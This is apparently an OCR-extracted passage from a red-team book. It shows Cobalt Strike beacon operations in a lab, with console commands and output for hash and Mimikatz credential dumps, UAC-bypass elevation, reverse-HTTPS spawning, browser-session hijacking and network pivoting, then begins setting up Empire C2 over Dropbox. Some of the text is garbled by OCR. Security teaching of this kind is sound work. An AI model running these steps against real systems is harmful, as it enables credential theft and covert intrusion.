receives a list of the tasks that are assigned to it, downloads them, and goes back
to sleep. This helps in avoiding detection on the remote system. In interactive
mode, however, everything happens in real time. Beacons have malleable
network indicators, which means they have a Malleable C2 profile. This is
responsible for transporting the data, transforming it for storage, and
reinterpreting it backwards. We will learn more about this in the later chapters of
this book. For now, let's look at the different features a beacon has and how to
use them.

Cobalt Strike offers two ways to access the beacons:

e The beacon menu
e The beacon console



The beacon menu

The beacon menu can be accessed by right-clicking on the host. The Access
menu contains the options shown as follows:

Explore ' | Elevate

Pivoting * | Golden Ticket
Spawn Make Token
5ession ¥ | Run Mimikatz

Spawn As

e Dump Hashes: This will run the hashdump command on the beacon as shown
below, which dumps the system's NT LAN Manager (NTLM) hashes. It

requires elevated privileges:



Eventlog X | Listeners X | Beacon 192.168.2.14@3572 X | Beacon 192168.2.14@3212 X

beacon> hashaump

[¥] Tasked heacon to dump hashes

[+] host called home, sent: 82501 bytes

[+] received password hashes:

Administrator:500:aad3bd35h51404eeaad3ha35h51404ee: 31d6cfe0d16ae931h73¢59d7e0c089¢0: : :
Guest:501:aad3b435h51404eeaad3nd35n51404ee: 316 fabd16ae031h73c59a7e0c089¢0: : :
Himanshu:1004: aad3b435h51404eeaad3bd35h51404ee: a7415eh76e71ch232h27¢632d263a846: : :
HomeGroupUser$: 1002 aad3n435b51404eeaad3bd35h51404ee: 4adach2e71nlan0ea2b7bhbefs90a619: :
PT:1001: aad3b435h51404eeaad3bd35h51404ee: ee206513a3fac f8228b7dbbff8302¢ef: : !

e Elevate: Cobalt Strike has a few inbuilt exploits for privilege escalation that
we can use to gain admin rights. We choose Access | Elevate from the
menu, as shown in the following screenshot:

teract

Access * Dump Hashes

Explore + | [ZEVIS
Pivoting * | Golden Ticket
Spawn Make Token
Session * | Run Mimikatz
Spawn As

PT-PC @ 3

Clicking on this option will open a new window where we will be asked
to choose an existing listener or to create a new one and choose the
exploit we want to run:



CobaltStrke View Attacks Reporting Help
CE O E=¢ BI/U ReBED Pa B

PT-PC @ 3572

. JON | Elevate

Atternpt to execute a listener in an elevated context.

Listener: Revhitps

Exploit:  fuac-di

Launch | |- Help-|

Once we click Launch, we will see the following command being run in
the console. The exploit will be executed, shown as follows:



beacon> elevate uac-dL1 Revhttps

[¥] Tasked beacon to Spaum windous/beacon https/reverse https (192.168.2.7:443) in a high Integrity process
[+] host called hone, sent: 111675 bytes

[+] recelved output

[¥] Hrote hijack OLL to 'C:\Users\PT\AppData\Local \Temp\chsd.dll

[#] Privileged file copy success! C:\Windows\Systen32\sysprep) (RYPTBASE.dlL
[#] C:\Wandows\Systen32\sysprep\sysprep.exe ran and exited,

[¥] Cleanup successful

If the exploit is successful, a new elevated session will be created:

PT-PC @ 3572

PT-PC @ 3212

¢ Golden Ticket: This option has multiple dependencies and may not work all
the time. This is because it requires the user we want to forge the ticket for,
the domain name, the domain's security identifier (SID), and the NTLM
hash of the Kerberos ticket-granting ticket (KRBTGT) user on a
Domain Controller (DC). These are not always available. If we do have
this information, however, the Golden Ticket option would basically
generate a golden ticket and inject it in our current session to gain elevated
privileges.

e Make Token: This option allows us to pass credentials to Cobalt Strike,
which will generate a token for us.



¢ Run Mimikatz: Cobalt Strike beacon is integrated with Mimikatz. This
means we can use Mimikatz features from the beacon itself. We can use this
option by right-clicking on the host and then clicking on Access | Run
Mimikatz:

-!"1 i » : L.‘ ' :

PT % :

PT-PC @ 1728 g :
PT

PT-PC @ 3572

ATl Explore * | Elevate
Pivoting * | Golden Ticket
Spawn | Make Token

Rl Run Mimikatz

Spawn As

This will dump the hashes, shown as follows:



beacon> logonpasswords

[#] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
[+] host called home, sent: 526942 bytes

[+] received output:

Authentication Id : @ ; 5890501 (00000000:0059%elcs)
Session : Interactive from 0
User Name : John
Domain : L33T
Logon Server : WIN-SPIACAHV7U3
Logon Time : 9/16/2018 3:21:38 AM
SID : §-1-5-21-3140846176-3513996709-3658482848-1106
msv :
[00000003] Primary
* Username : John
* Domain : L33T
* NTLM : 9182274425effbeB0alabd8df23d56¢c

[PT-PC] PT #/3212

The dumped credentials can be viewed by going to the View menu
and choosing the Credentials option:

Cobalt Strike View Attacks Reporting Help

This will open a new tab where all the dumped credentials can be
viewed:



Fertlog X | Lserers | Beacon 1R6020483672 | Beacon L1SB04G5002 X | Crecenis X

L5 passHrg e e souce [

T e85 L3a facBL280 b3 e R hashcmp 1216824
Himanghy aTHSeLTheT Lo 302 c063a8H T hashcmp 1216824
fary QueQWEBsOASDRCDXC13104 ki) minkatz 1216824
o mobHNBIGLpaPOI0E0%8 L3AT.LOCAL minlkatz 1216824
I mobHNBIGLpoPOI0E0%8 L3AT.LOCAL minkatz 1216824
fary DfaSandibed8226c27a80atharche ki) minlkatz 1216824
fary QueQWEBsOASDRCDXC13104 L3AT.LOCAL minkatz 1216824
Adminisator 3o GaeS3107 39783 TR hashcmp 192168214
I 9182274475 oeS0a aboba23ekbec ki) minkatz 1216824
It mobHNBIGLpaPOI0E0%8 ki) minlkatz 1216824
il fary T minkatz 1216824
PT-ACIPT fary PT-RCIPT minlkatz 1216824
Glest 310t Geed31bT3cSAdebcOB R hashcmp 1216824

Ado H F H Capy ‘ Eigot ’ Remoie | Hel ‘

e Spawn As: Once we have gained the credentials of other users, we can use
Spawn As to launch another beacon as a different user on the system:




°

PT-PC @ 1728

PT

PT-PC @ 3572

Elevate
Pivoting * | Golden Ticket
Spawn | Make Token
5gssion * | Run Mimikatz
Spawn As

Clicking on the Spawn As option will open a new window, shown as
follows:



000 Spawn As

user password realm note
harry qweQWEasdASDzxcZXC123l@# 1337

john mnbMNBIkjLKIpoiPOI098098 L33T.LOCAL

John mnbMNBIkjLKJpoiPOI098098 L33T.LOCAL

harry qweQWEasdASDzxcZXC1231@#  L33T.LOCAL

John mnbMNBIkjLKIpoiPOI098098 133T

PT harry PT-PC

PT-PC\PT harry PT-PC\PT

User: :[John

Password: [mnhMNBijLK]poiPDID@ED@E

|
|
Domain: [BET \
|

Listener: [RevhttpS 2 [ ﬂ l

| Lawen ||t |

In this window, we choose the user we want to spawn as and the listener
on which we want the beacon to connect, and click on the Launch button.
This will automatically run the command spawnas and we will see a new
connection pop up:

heacon> spawnas L33T\John nnbMNBLk;LKIpo1POI098098
[+] Tasked beacon to spawn windows/beacon_https/reverse https (192.168.2.7:443) as L337\John

|+] host callea home, sent: 3705 bytes

[PT-RC] PT #/3212
eacon>




Explore menu

The options available in the Explore menu are as follows:

e Browser Pivot: Cobalt Strike allows us to do a man-in-a-browser attack to
hijack a victim's authenticated browser session. Cobalt Strike sets up a
proxy server which injects into Internet Explorer. When we browse through
this server, we will be able to inherit all the cookies, client SSL certificates,
and all the authenticated HTTP sessions. Let's take a look at how to perform
this attack. First, right-click on the host and go to Explore | Browser Pivot,
shown as follows:

as

Access

Desktop (VNC)

File Browser

Net View
Port Scan
Process List
Screenshot

This will open a new window with a list of currently running Internet
explorer processes on the system. Cobalt Strike automatically
recommends to us the best child process to inject into. As shown in the
following screenshot, we need to choose the process and the port
number:



000 Browser Pivot

PID PPID Arch Name User

828 1944 X64 explorer.exe L33T\john

2524 64 X64 explorer.exe PT-PC\PT

38% 254 x86 iexplore.ex PT-PC\PT

3680 389 XB6 iexplore.ex PT-PC\PT {

Provy Server Pot: 15858 |

‘ Launch H Help ‘

Once we click on the Launch button, the proxy server will be started. We
can then open our local browser and set the IP of the team server and the
port number we defined before as a proxy in our browser to view the
authenticated user sessions:

himanshu beacon> spanas L33T\John mnbMNBLK]LKJpo1P0I098098

[#] Tasked beacon to spaun windows/beacon_https/reverse https (192.168.2.7:443) as L33T\John
[+] host called home, sent: 3705 bytes

hinanshu beacon> spain Revhttps

[#] Tasked beacon to spaun (x86) windows/beacon_https/reverse https (192.168.2.7:443)

[+] host called hone, sent: 562 bytes

beacon> browserpivot 140 x86

[#] Injecting browser pivot DLL 1nto 140

[+] Browser Pivot TTP proxy 1s at: 192,168.2,7:8888
[+] started port forward on 14255 to 127.0.0,1:14255

e Desktop (VNC): This feature allows us to view the desktop of the machine
through virtual network computing (VNC). We can run this by choosing



Desktop (VNC) from the Explore menu, shown as follows:

Browser Pivot

Desktop (VNC)

File Browser

Net View
Port Scan
Process List
Screenshot

As you can see in the following screenshot, the beacon will inject the
VNC server into the victims process, and port forward it to our team

server's IP. We can then connect to the IP and port of our team server
through any VNC client to view the desktop:
beacon> desktop

[#] Tasked beacon to inject VNC server

[+] host called home, sent: 344 bytes
[+] started port forward on 9642 to 127.0.0.1:9642

e File Browser: This feature is self explanatory. We can browse the files and
folders on the victim's machine through a GUI using this option:



Browser Pivot

Initial

Desktop (VNC)

Net View
Port Scan
Process List
Screenshot

When you choose the File Browser option from the menu, a new tab will
open, in which we can view and browse the victim's files and folders,
shown as follows:

e

D ~ Name Size
D:
i E
F:

‘ Upload... H Make Directory H List Drives H Refresh H Help ‘




e Port Scan: Port Scan allows us to scan the internal network of the victim's
machine. To run a scan, go to Explore | Port Scan, shown as follows:

Browser Pivot

Desktop (VNC)

File Browser

Net View

Process List
Files 192.168.2.14@3212 X | Screenshot

A new window will open, showing us the internal IP and netmask of the
victim, We choose the IP, specify the ports, and choose the type of scan.
In this case, we will choose an ARP scan to discover online hosts on the



5] & Scan

address netmask

192.168.2.0 255.255.255.0

Ports: 1-1024,3389,5000-6000 l

Max Sockets: |1024 l

Discovery: _[arp '-"|
| Scan || Help |

network:

Once we click on the Scan button, we will see a new tab open, shown as

follows. Cobalt Strike will perform the ARP scan and then return a list of
reachable hosts in the network:

beacon> portscan 192.168.2.0-192.168.2.255 1-1024,3389,5000-6000 arp 1024

[*] Tasked beacon to scan ports 1-1024,3389,5000-6000 on 192,168.2.0-192.168.2,255
[+] host called home, sent: 75325 bytes

[+] received output:

(ARP) Target '192.168.2.14' 1s alive. 08-08-27-2D-4D-E0

(ARP) Target '192.168.2.1' 1s alive. B8-C1-A2-3D-B2-1(

(ARP) Target '192.168.2.5' 1s alive. 08-80-27-25-7(-17

(ARP) Target '192.168.2.8' 1s alive. 28-F0-76-48-E9-A4

(ARP) Target '192.168.2.17' 1s alive. 08-00-27-0D-93-D4

(ARP) Target '192.168.2.3' 1s alive. F@-C7-7F-4(-47-10
(ARP) Target '192.168.2.6' 1s alive. 94-65-20-74-5A-63
(ARP) Target '192.168.2.7' 1s alive. 30-35-AD-BD-C2-6E

)
)
)
)
(ARP) Target '192,168.2.2' is alive. 70-77-81-55-20-29
)
)
)
(ARP) Target '192,168.2.9' is alive. 5(-F9-38-8(-84-94

e Process List: This option shows us a list of all the running processes on the
system:



PT
PT-PC @ 3572

rowser Pivot
| Pivoting esktop (VNC)

Spawn

Session

Screenshot

As shown in the following screenshot, we can inject the beacon into
another process using the Inject option. We can also log keystrokes, take
a screenshot, and so on:
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Beacon console

The beacon menu does not show us all the features that are available. However,
Cobalt Strike also provides us with the beacon console so that we can fully
utilize its features. The beacon console can be opened by right-clicking on a host
and choosing the Interact option:

PT * PT-PC
Interact

Access
Explore ¢
Pivoting +
2pawn

Session ¥

This will open the console from which we can command the beacon to perform
the desired actions. Before we run commands, however, we must first set the
sleep time of the beacon to zero, so that it changes its state to interactive from
asynchronous, as we want to receive the output of the command in real time. We
can do this by typing sieep o:

beacon> sleep 8
[#] Tasked beacon to become interactive

To view a complete list of all the commands, we can type the he1p command:



beacon> help

Beacon Commands

Command
browserpivot
bypassuac
cancel

cd
checkin
clear
covertvpn
cp

desync
desktop
dllinject
GG
downloads

Description

Setup a browser pivot session

Spawn a sesslon 1n a high integrity process
Cancel a download that's in-progress
Change directory

Call home and post data

Clear beacon queue

Deploy Covert VPN client

Copy a file

Extract a password hash from a DC

View and interact with target's desktop
Inject a Reflective DLL into a process
Download a file

Lists file downloads in progress

Let us now look at a few commands in detail:

e owd: This prints the current working directory:

beacon> pwd

[#] Tasked beacon to print working directory
[+] host called home, sent: 8 bytes

[#] Current directory 1is C:\Windows\system32

[PT-PC] PT */5968

[

® nashdump: This dumps the password hashes from the system:



himanshu beacon> hashdunp

[#] Tasked beacon to dump hashes

[+] host called home, sent: 16518 bytes

[+] recelved password hashes:
Administrator:500:aad3b435h51404eeaad3bd35h51404ee: 31d6c fadd16ae931h73c59d7e0c089¢0: : :
Guest:501:aad3b435b51404eeaad3bd35h51404ee: 31d6cfeld16ae931b73¢59d7e0c089ch: : :

Himanshu: 1004: aad3b435b51404eeaad3bd35h51404ee : a745eh76e71ch232h27c632d263a846: : :
HomeGroupUsers$: 1002: aad3b435b51404eeaad3bd35h51404ee: 4addch2e71blablea267bbbef5902679: :
PT:1001: 2ad3b435h51404eeaad3bd35b51404ee : ee206513a3 facT8228b7dbb ffa302¢ef ! :

[+] recelved password hashes:
Administrator:500:aad3b435h51404eeaad3bd35h51404ee: 31d6c fadd16ae931h73c59d7e0c089¢0: : :
Guest:501:aad3b435b51404eeaad3bd35h51404ee : 31d6cfeld16ae931b73¢59d7e0c089ch: : :

Himanshu: 1004: aad3b435b51404eeaad3bd35h51404ee: a745eh76e71ch232h27c632d263a846: : :
HomeGroupUsers$: 1002: aad3h435b51404eeaad3bd35h51404ee: 4addch2e71blablea267bbbef5902679: :
PT:1001:aad3b435h51404eeaad3b435h51404ee : ea206513a3facf8228b7dbbf f8302¢ef: : !

e she1l: This executes a command passed to it as a parameter into the system's
shell and prints out the output of the command in return:

beacon> shell whoami
[#] Tasked beacon to run: whoami
[+] host called home, sent: 14 bytes

[+] received output:
pt-pci\pt

Refer to the following table to see a complete list of commands and what they
do. We have already seen some of these commands being executed from the
beacon menu:

Command Description




browserpivot

Set up a browser pivot session

bypassuac Spawn a session in a high integrity process
cancel Cancel a download that's in progress
cd Change directory

checkin Call home and post data

clear Clear beacon queue

covertvpn Deploy covert VPN client

cp Copy a file

desyne Extract a password hash from a DC
desktop View and interact with target's desktop
dllinject Inject a reflective DLL into a process
download Download a file




downloads List file downloads in progress

drives List drives on target

elevate Try to elevate privileges

execute Execute a program on target

exit Terminate the beacon session
getsystem Attempt to get system

getuid Get user ID

hashdump Dump password hashes

help Help menu

inject Spawn a session in a specific process
jobkill Kill a long-running post-exploitation task

jobs




List long-running post-exploitation tasks

kerberos_ccache_use

Apply a Kerberos ticket from cache to this session

kerberos_ticket_purge

Purge Kerberos tickets from this session

kerberos_ticket_use

Apply a Kerberos ticket to this session

keylogger Inject a keystroke logger into a process

kill Kill a process

link Connect to a beacon peer over SMB
logonpasswords Dump credentials and hashes with Mimikatz
1s List files

make_token

Create a token to pass credentials

mimikatz

Run a Mimikatz command

mkdir

Make a directory




mode

dns

Use DNS A as data channel (DNS beacon only)

mode dns-txt Use DNS TXT as data channel (DNS beacon only)
mode dns6 Use DNS AAAA as data channel (DNS beacon only)
mode http Use HTTP as data channel

mode smb Use SMB peer-to-peer communication

mv Move a file

net Network and host enumeration tool

note Assign a note to this beacon

portscan Scan a network for open services

powerpick Execute a command through Unmanaged PowerShell
powershell Execute a command through powershe1l.exe

powershell-import

Import a PowerShell script




ppid Set parent PID for spawned post-ex jobs
ps Show process list
psexec Use a service to spawn a session on a host

psexec_psh

Use PowerShell to spawn a session on a host

psinject Execute PowerShell command in specific process
pth Pass-the-hash using Mimikatz

pwd Print current directory

rev2self Revert to original token

rm Remove a file or folder

rportfwd Set up a reverse port forward

runas

Execute a program as another user




runu

Execute a program under another PID

screenshot Take a screenshot

shell Execute a command through cmd.exe
shinject Inject shell code into a process

shspawn Spawn process and inject shell code into it
sleep Set beacon sleep time

socks

Start SOCKS4a server to relay traffic

socks stop

Stop SOCKS4a server

spawn Spawn a session

spawnas Spawn a session as another user

spawnto Set an executable to spawn processes into
spawnu Spawn a session under another PID




ssh Use SSH to spawn an SSH session on a host
ssh-key Use SSH to spawn an SSH session on a host
steal_token Steal access token from a process

timestamp Apply timestamps from one file to another
unlink Disconnect from parent beacon

upload Upload a file

wdigest Dump plaintext credentials with Mimikatz
winrm Use WinRM to spawn a session on a host
wini Use WMI to spawn a session on a host




Pivoting through Cobalt Strike

We have already covered the different ways of pivoting and why this is
necessary in chapter 6, Pivoting. In this section, we will look at the ways we can
pivot into a network using Cobalt Strike.

Cobalt Strike allows us to pivot in three ways:

e SOCKS Server
e [istener
e Deploy VPN

The preceding pivot can be explained as follows:

e SOCKS Server: This will create a SOCKS4 proxy on our team server. All
the connections that go through this SOCKS proxy will be converted into
tasks for the beacon to execute. This allows us to tunnel inside the network
through any type of beacon. To set up a SOCKS Server, we right-click the
host, choose Pivoting | SOCKS Server, shown as follows:

SOCKS Server
Listener...

Deploy VPN

A new window will then open, asking for the port number on which
we want the server to be started. We enter the port and click on the



Launch button:

O @ Start SOCKS

| Launch | | Help |

Scripts X | Listeners X

Once the server is started, we can run other tools such as Metasploit
or Nmap on our system against the network for further
reconnaissance and exploitation. The following screenshot is an
example of how we can connect an Nmap through a SOCKS Server
of a Cobalt Strike:

[MacBook=Air:~ Himanshu$ nmap =sV -Pn 192.168.2.8/24 ==proxy socksd://192.168.2.7
151079

Starting Nmap 7.12 ( https://nmap.org | at 2018-09-16 19:25 IST

o Listener: A pivot listener allows us to create a listener that tunnels all of its
traffic through a beacon session. This prevents us from creating new
connections from our Cobalt Strike server to the victim's machine, thereby
helping us to keep the noise at a minimum. To set up a listener, right-click
on the host, click on Pivoting | Listener..., shown as follows:



A new window will then open, where we specify the listener's name,
payload, host, port number, and the remote host and port to which the
traffic will be forwarded:

[ NN | New Listener

A pivot listener is a way to setup a foreign listener and a
reverse port forward that relays traffic to it in one step.

X | Beacon 192.168.2.14@321

Name: [Teat

Paoad: - windowsfforeignreverse hitp -

Listen Host:  [192.168.2.14

Listen Port: |80

Remote Host: 192.168.2.7

LE—

Remote Port: |EﬂED

‘ Save H Help ‘




After entering the data, we click on the Save button and we will see that
it runs a rportfwd command and creates a tunnel:

beacon> rportfwd 80 192.168.2.7 8080

[+] started reverse port forward on 80 to 192.168.2.7:8080

[#] Tasked beacon to forward port 80 to 192.168.2.7:8080
[+] host called home, sent: 10 bytes

e Deploy VPN: This features allows us to pivot through VPN using the covert
VPN feature. Covert VPN creates a network interface from the system
where the team server is running to the target network. To set up a VPN we
right-click on the host, choose Pivoting | Deploy VPN:

note pid |last

Interact

apawn | Listener...

Session » |FYERTWRVY

A new window will open, where we can choose the destination network
and add a network interface by clicking on the Add button:



eC® Deploy VPN Client

IPv4 Address IPv4 Netmask Hardware MAC
192.168.2.14 255.255.255.0 08:00:27:2D:4D:EQ
Local Interface: b | ‘ Add ‘
[¢| Clone host MAC address

| Deploy ‘ | Help |

We then specify the interface name, the MAC address, the port number,
and the channel to use for tunneling:



& &) Setup Interface

Start a network interface and listener for CovertVPN. When a CovertVPN
client is deployed, you will have a layer 2 tap into your target's network.

Interface: phear) |

MAC Address: |52:3d:82:0b:e4:7c |

Local Port: 3589

Channel: ‘UDP =

Launch || Help |

For best performance, we recommend the UDP channel. The UDP
channel has the least amount of overhead compared to the TCP and
HTTP channels. Alternatively, the ICMP, HTTP, or TCP (bind) channels
can be used to bypass firewalls:



|

. NN | Deploy VPN Client
IPv4 Address IPvd Netmask Hardware MAC
192.168.2.14 255.255.255.0 08:00:27:2D:4D:E0
Local Interface: [ph&arﬂ - A@d
[v| Clone host MAC address

| Deploy H Help |

Once the interface is created, we click on the Deploy button and the
interface will be created. We can view the list of currently active VPN
channels from the Cobalt Strike menu, as shown in the following
screenshot:

Cobalt Strike View Attacks Reporting Help

¢ EIPU GwBE P B

New Connection

Preferences

Visualization

Listeners

Script Manager

Close




Aggressor Scripts

Aggressor Scripts is the scripting language for Cobalt Strike 3.0 and above. It
can be considered as a successor to the Cortana scripting language, which is used
by Armitage. Aggressor Scripts is described on Cobalt Strike's official website
as follows: "Aggressor Scripts is a scripting language for red team operations
and adversary simulations inspired by scriptable IRC clients and bots. Its
purpose is two-fold. We may create long running bots that simulate virtual red
team members, hacking side-by-side with you. We may also use it to extend and
modify the Cobalt Strike client to our needs."

There are a lot of Aggressor Scripts available on the internet which have been
developed by users across the globe to perform various tasks. Most of these are
available on GitHub. In this section, we will learn how to load the scripts on our
Cobalt Strike client and run them.

1. First we can download the scripts from the website: https://github.com/bluscre
enofjeff/AggressorScripts.

2. To load a script permanently on our client, we go to the Cobalt Strike menu
and click on the Script Manager option:

Cobalt Strike View Attacks Reporting Help
NewComecion E¢ BE AL BwBE Lo B G

Preferences internal = LSer
Visualization b 192.168.0.95 dfx
VPN Interfaces

Listeners

Close



https://github.com/bluscreenofjeff/AggressorScripts

3. In the tab which opens, click on the Load button:

& PECEE

Eventlog X | ScriptConsole X | Scripts X

path

‘ Load H Unload |H Reload H Help ‘

4. We then browse to the directory where we downloaded our script. Choose
the script we want to load and click on the Open button, shown as follows:



o 0 Load a script
Look In: | AggressorSeripts | ddn
D Beaconpire [ LICENSE B slack-mﬁﬁf-wehhit.c:%
[ cenc [} mass-dcsync.cna 0 sleep-down-when-1y
(] OPSEC Profiles [} mimikatz-every-30m.cna [ sleeptimer.cna
[ apache-style-weblog-output.cna [ mimikatz-timestamp-note-BETA.cna ) stale-beacon-notifer
D beacon_to_empire.cna [ ping_aliases.cna B timestamped_actvi
D beaconestablishednote.cna ) powershell.cna
D beaconid_note.cna [ ps-window-alias.cna
| D checkin_jobs_context.cna [ README.md
D eventlog-to-slack.cna [ silver-tickets.cna
| D forcecheckin.cna [ slack-notify-beacon.cna
File Name: ‘
Fles of Type: |All File -

‘ Open H Cancel

5. In this example, we have loaded two scripts that will run ping_aliases.cna:

and ps-window-alias.




Eventlog X | Script Console X | Scripts X

[Users/Himanshu/ Downloads/AggressorScripts/ps-window-alias.cna
[Users/Himanshu/Downloads/AggressorScripts/ping_aliases.cna

] i ] )

6. Upon opening the script in Notepad, we can see that it has created two new
aliases. The first, gping command, is used to ping a host with one ping
packet, while the second, smbscan, is used to run a scan on port 445 on a
particular host or a range of hosts:



B ping aliases.cna

pfauthor bluescreenofjeff

#alias for "gping" to “shell ping -n 1 [target]" and "smbscan" to "portscan [target] 445
none"

#register help

beacon_command_register({"gping", "send one ping packet with shell",
"Synopsis: gping [target]im\n" .
"Send one ping packet with the command: shell ping -n 1 [target]");

#setting the alias

alias gping {
binput($1,"shell ping -n 1 $2"};
bshell($1,"ping -n 1 $2");

#register help

beacon_command_register("smbscan", "portscans port 445 without ping discovery",
"Synopsis: smbscan [target]\nm\n" .
"Scans SMB with the command: portscan [targets] none\n\n" .
"[targets] is a comma separated list of hosts to scan. You may also specify\n" .
"IPv4 address ranges (e.g., 192.168.1.128-192.168.2.240, 192.168.1.0/24)");

#setting the allias

alias smbscan {
binput("portscan $1 445 none");
bportscan($1, $2, "445", "none");

7. To test the script, we interact with our beacon and run the gping s.8.8.8
command:



beacon> qping 8.8.8.8

beacon> shell ping -n 1 8.8.8.8

[#] Tasked beacon to run: ping -n 1 8.8.8.8
[+] host called home, sent: 25 bytes

[+] received output:

Pinging 8.8.8.8 with 32 bytes of data:
Reply from 8.8.8.8: bytes=32 time=2ms TTL=122

Ping statistics for 8.8.8.8:

Packets: Sent = 1, Received = 1, Lost = 0 (8% loss),
Approximate round trip times in milli-seconds:

Minimum = 2ms, Maximum = 2ms, Average = 2ms

From the preceding screenshot we can see that it executes ping
command through the shell on the host.

8. We also had another script loaded, ps-windows-a1ias. This window creates an
alias command that opens the process pane of the selected host:

beacon> pspane
beacon> ps
[+] host called home, sent: 12 bhytes

[DFX-PC] dfx/2532

beacon>

Running the command will open the process pane, shown as follows:




Eventlog X | Script Comsole X | Serpts X | Beacon 192.168.095@2532 X | Processes 192.168.0.35@2532 X

PID PPID Name Arch
0 0 [System Process)
4 0 System

268 4 5mss.exe

3% 38 Srss.exe

n 34 CSrss.exe

3% 38 Wininit.exe

404 364 Winlogon,exe
464 3% Services.exe
480 3% lsass.exe

488 3% lsm.exe

588 464 svchost exe

648 464 VBoxService.exe
n 464 svchost exe

f4 464 svchost exe

880 464 svchost exe

| efesh | | || LagResots | Scvertl-




Summary

In this chapter, we learned about the listener module of Cobalt Strike along with
its type and usage. We then learned about beacons and their features. We also
saw examples of different features of beacons, both through the beacon menu
and the beacon console. After that, we looked at different methods of pivoting
using Cobalt Strike. Finally, we explored Aggressor Script and its use in Cobalt
Strike.



Questions

1. Is cobalt strike free?

Can Cobalt Strike communicate with any other C2?

3. How can we slip through the scanners and Indicator of Compromise
(I0Cs).

4. Does Cobalt Strike use Metasploit Framework?

N



Further reading

For more information on the topics discussed in this chapter, visit the following
links:

¢ A Red Teamer's guide to pivoting: https://artkond.com/2017/03/23/pivoting-gui
de/

e SSH and Meterpreter Pivoting Techniques: https://highon.coffee/blog/ssh-me
terpreter-pivoting-techniques/

L4 Aggl“ESSOl" SCl"iptSI https://github.com/bluscreenofjeff/AggressorScripts

e HOWTO: Port Forwards thl"Ollgh a SOCKS PYOXY: https://blog.cobaltstri
ke.com/2016/06/01/howto-port-forwards-through-a-socks-proxy/

e Kerberos Attacks: https://www.cyberark.com/blog/kerberos-attacks-what-you-need-t

o-know/


https://artkond.com/2017/03/23/pivoting-guide/
https://highon.coffee/blog/ssh-meterpreter-pivoting-techniques/
https://github.com/bluscreenofjeff/AggressorScripts
https://blog.cobaltstrike.com/2016/06/01/howto-port-forwards-through-a-socks-proxy/
https://www.cyberark.com/blog/kerberos-attacks-what-you-need-to-know/

C2 - Master of Puppets

Almost everyone who is involved with cybersecurity will already have a clear
idea about what a Command and Control server is. In case you don't know, a
Command and Control server, also known as a C&C or a C2, is generally used in
cyberattacks. It is a system that controls all the infected systems (the bots or
zombies) that were infected by the attacker in a malware or phishing attack. A
C2 is controlled by an attacker and is used to send commands to perform
different tasks such as a DDoS attack, spamming, stealing data from bots, or
spreading malware. The question remains, therefore, if C2s are used by cyber
criminals to execute a cyberattack, does that makes Red Team operations illegal?

Many people still have a misunderstanding about the motivation behind red team
operations. The idea of red team is not to hack into an organization and steal the
data with a negative motivation. Instead, red team operations are a simulation
carried out by professionals who mimic cybercriminals. Just as cybercriminals
use C2 servers for cyberattacks, Red Team professionals also use C2 servers to
perform simulated cyberattacks on an organization.

The motivation of a red team is not to protect the organization from an attack. It
is to attack the organization just as a cybercriminal would, but to report the
attack to the blue team as well. The blue team are the defenders of the
organization; they'll be the ones responsible for detecting any malicious or
harming activity.

In this chapter, we will cover the following topics:

e Introduction to C2
¢ Cloud-based file sharing using C2
e (C2 covert channels



Technical requirements

e Linux
e Empire



Introduction to C2

In a Red Team engagement, the C2s that are installed and configured are the
team servers that are used to manage the reverse connections. In the previous
chapters, we have covered Koadic, Armitage, Cobalt Strike, and Empire. All of
these tools have one thing in common: they are frameworks that can get a
reverse connection and manage multiple connections at the same time. These
C2s are crucial in a red team engagement. From the basic instances that we
looked at in previous chapters, we now have to think bigger.

One of the biggest issues in red team operations is the detection of the payload
by antivirus software or firewalls. Even if our payload is not detected, the
outgoing connection (also known as egress traffic) from the target server may
well be detected by the monitoring team. How can we perform a red team
operation without our Redirector or C2 being blacklisted or burned?



Cloud-based file sharing using C2

In a situation the one described previously, organizations monitor the outgoing
connection very closely so it is difficult to get access without getting detected.
Fortunately, many organizations use cloud-based file sharing services from
project execution to delivery. Their trust on these cloud-based file sharing
services is often immovable. As a red teamer, we are going to exploit this trust
so that we can get access in a far stealthier manner.

We are going to make the cloud-based file sharing service a middle-man to set
up the communication playground between the target server and the Empire C2:

Becomes the middle-man between the Empire C2 manages the connection to the
C2 and the Taget. Dropbox / OneDrive server through APls
— —
Firewall allows Dropbox / QneDrive We connect to the Empire C2
Stager executes and connects to the sanver.for many organizations to manage the connections
Dropbox / OneDrive Server
DropBox / OneDrive Server Empire C2

Communication between
the target and the
Dropbox / OneDrive server
i Encrypted by default

Red Teamer
Target

Assuming that the Empire C2 is properly installed and configured, we will be
using Dropbox and Microsoft's OneDrive for the cloud-based file sharing C2.



Using Dropbox as the C2

Dropbox is a file-hosting service that offers cloud storage, file synchronization, a
personal cloud, and client software. In this case, we will be using Dropbox to
store our payload so that the target connects to Dropbox and downloads it. Let's
check the current listeners for now using the 1isteners command. This will bring
us to the listeners menu and show us the list of active listeners as well. We can
then execute the uselisteners dox command in the 1isteners menu to open the
Dropbox Empire 1isteners module:

(Empire) > listeners

Name Module st Delay/Jitter KillDate

Empire
DeathStar

(Empire: ) = uselistener dbx
(Empire: ) =

Upon executing the info command, we can see the options available for this
listener:

(Empire:

Name: Dropbox
Category: third_party

Authors:
@harmjQy

Description:
Starts a Dropbox listener.

Dropbox Options:

Name Required Value Description
SlackToken Your SlackBot API token to communicate with your Slack instance.
DefaultProfile True in/get. ‘news. ogin/ Default communication profile for the agent.

0W64; Trident/7.0;

rv:11.8) like Gecko
KillDate False Date for the listener to exit {MM/dd/yyyy).
Name True dropbox Name for the listener.
ResultsFolder True /results/ The nested Dropbox results folder.
Launcher True powershell -noP -sta -w 1 -enc  Launcher string.
DefaultDelay True 60 Agent delay/reach back interval (in seconds).
TaskingsFolder True /taskings/ The nested Dropbox taskings folder.
APIToken True Authorization token for Dropbox APT communication.
WorkingHours False Hours for the agent to operate (09:00-17:00).
Defaultlitter True 0.0 Jitter in agent reachback interval (0.0-1.0).
SlackChannel False #general The Slack channel or DM that notifications will be sent to.

Stagingkey True W_xd0@i&| 3. IM-mGATk: XL14+QvP{Bz? Staging key for initial agent negotiation.
5

PollInterval True
DefaultLostLimit True 10 Number of missed checkins before exiting
StagingFolder True /staging The nested Dropbox staging folder.

BaseFolder True /Empire/ The base Dropbox folder to use for comms.

Polling interval (in seconds) to communicate with the Dropbox Server.




The option that we need to set is the API token. The API token can be retrieved

only after registering to DFOpbOX and gOiIlg to the http://www.dropbox.com/developers/
apps/create link.

In step one, we need to select Dropbox API.

